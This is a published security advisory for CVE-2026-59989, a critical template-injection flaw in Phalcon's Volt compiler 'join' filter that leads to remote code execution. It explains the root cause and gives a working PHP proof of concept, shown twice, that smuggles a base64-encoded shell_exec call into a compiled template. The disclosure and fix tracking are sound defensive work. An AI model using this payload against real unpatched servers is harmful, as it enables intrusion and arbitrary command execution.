GHSA-HRWP-4HH9-C8R8
Vulnerability from github – Published: 2026-08-21 20:55 – Updated: 2026-08-21 20:55Summary
The Volt template compiler in Phalcon generates the PHP for the join filter by string-concatenating the filter's raw template-literal argument bytes with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose join arguments are attacker-influenced can therefore break out of the generated join('…') call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and require()s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -> remote code execution) for any application that compiles attacker-controlled Volt source.
Details
Root cause
phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546:
case "join":
return "join('" . funcArguments[1]["expr"]["value"]
. "', " . funcArguments[0]["expr"]["value"] . ")";
funcArguments[1]["expr"]["value"] (the separator) and funcArguments[0]["expr"]["value"] (the piped array) are the raw values of the parsed template tokens. Unlike every other expression in the compiler, they are not routed through expression() and receive no escaping: the separator value is spliced verbatim inside the join(' … ' quotes with no neutralisation of ', and the array value is emitted with no quoting at all. Volt's scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.
Generated-C ground truth -> build/phalcon/phalcon.zep.c (Phalcon 5.15.0):
ZEPHIR_CONCAT_SVSVS(return_value, "join('", &_19$$24, "', ", &_22$$24, ")");
i.e. literally "join('" + separator + "', " + array + ")" with both attacker-controlled fragments unescaped.
The compiled output is then written to a cache file and required by Phalcon\Mvc\View\Engine\Volt::render(), so any PHP spliced in by the attacker runs at render time.
PoC
<?php
use Phalcon\Mvc\View\Engine\Volt\Compiler;
$cmd = 'id; uname -a; hostname';
$b64 = base64_encode($cmd);
$tpl = "{{ ['x'] | join(\"',[]); echo shell_exec(base64_decode('$b64')); //\") }}";
$compiled = (new Compiler())->compileString($tpl);
$f = tempnam(sys_get_temp_dir(), 'volt') . '.php';
file_put_contents($f, $compiled);
include $f;
unlink($f);
Impact
Where an application compiles Volt source that is wholly or partly attacker-controlled, this yields remote code execution in the web-server process.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.15.0"
},
"package": {
"ecosystem": "Packagist",
"name": "phalcon/cphalcon"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.16.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59989"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-21T20:55:56Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe Volt template compiler in Phalcon generates the PHP for the `join` filter by string-concatenating the filter\u0027s **raw template-literal argument bytes** with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose `join` arguments are attacker-influenced can therefore break out of the generated `join(\u0027\u2026\u0027)` call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and `require()`s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -\u003e remote code execution) for any application that compiles attacker-controlled Volt source.\n\n## Details \n\n### Root cause\n\n`phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546`:\n\n```zephir\ncase \"join\":\n return \"join(\u0027\" . funcArguments[1][\"expr\"][\"value\"]\n . \"\u0027, \" . funcArguments[0][\"expr\"][\"value\"] . \")\";\n```\n\n`funcArguments[1][\"expr\"][\"value\"]` (the separator) and `funcArguments[0][\"expr\"][\"value\"]` (the piped array) are the **raw values** of the parsed template tokens. Unlike every other expression in the compiler, they are **not** routed through `expression()` and receive no escaping: the separator value is spliced verbatim inside the `join(\u0027` \u2026 `\u0027` quotes with no neutralisation of `\u0027`, and the array value is emitted with no quoting at all. Volt\u0027s scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.\n\n**Generated-C ground truth** -\u003e `build/phalcon/phalcon.zep.c` (Phalcon 5.15.0):\n\n```c\nZEPHIR_CONCAT_SVSVS(return_value, \"join(\u0027\", \u0026_19$$24, \"\u0027, \", \u0026_22$$24, \")\");\n```\n\ni.e. literally `\"join(\u0027\" + separator + \"\u0027, \" + array + \")\"` with both attacker-controlled fragments unescaped.\n\nThe compiled output is then written to a cache file and `require`d by `Phalcon\\Mvc\\View\\Engine\\Volt::render()`, so any PHP spliced in by the attacker runs at render time.\n\n## PoC \n\n```php\n\u003c?php\nuse Phalcon\\Mvc\\View\\Engine\\Volt\\Compiler;\n\n$cmd = \u0027id; uname -a; hostname\u0027;\n\n$b64 = base64_encode($cmd);\n$tpl = \"{{ [\u0027x\u0027] | join(\\\"\u0027,[]); echo shell_exec(base64_decode(\u0027$b64\u0027)); //\\\") }}\";\n\n$compiled = (new Compiler())-\u003ecompileString($tpl);\n\n$f = tempnam(sys_get_temp_dir(), \u0027volt\u0027) . \u0027.php\u0027;\nfile_put_contents($f, $compiled);\ninclude $f;\nunlink($f);\n\n```\n\n\u003cimg width=\"1226\" height=\"386\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4d5da3f4-0bc9-41d9-b741-13c9ea9b08fe\" /\u003e\n\n\n\n\n\n## Impact\n\nWhere an application compiles Volt source that is wholly or partly attacker-controlled, this yields **remote code execution** in the web-server process.",
"id": "GHSA-hrwp-4hh9-c8r8",
"modified": "2026-08-21T20:55:56Z",
"published": "2026-08-21T20:55:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/phalcon/cphalcon/security/advisories/GHSA-hrwp-4hh9-c8r8"
},
{
"type": "WEB",
"url": "https://github.com/phalcon/cphalcon/pull/17217"
},
{
"type": "WEB",
"url": "https://github.com/phalcon/cphalcon/commit/e434061be3b7161930476c1368c868badc71e1bd"
},
{
"type": "PACKAGE",
"url": "https://github.com/phalcon/cphalcon"
},
{
"type": "WEB",
"url": "https://github.com/phalcon/cphalcon/releases/tag/v5.16.0"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI leads to RCE)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.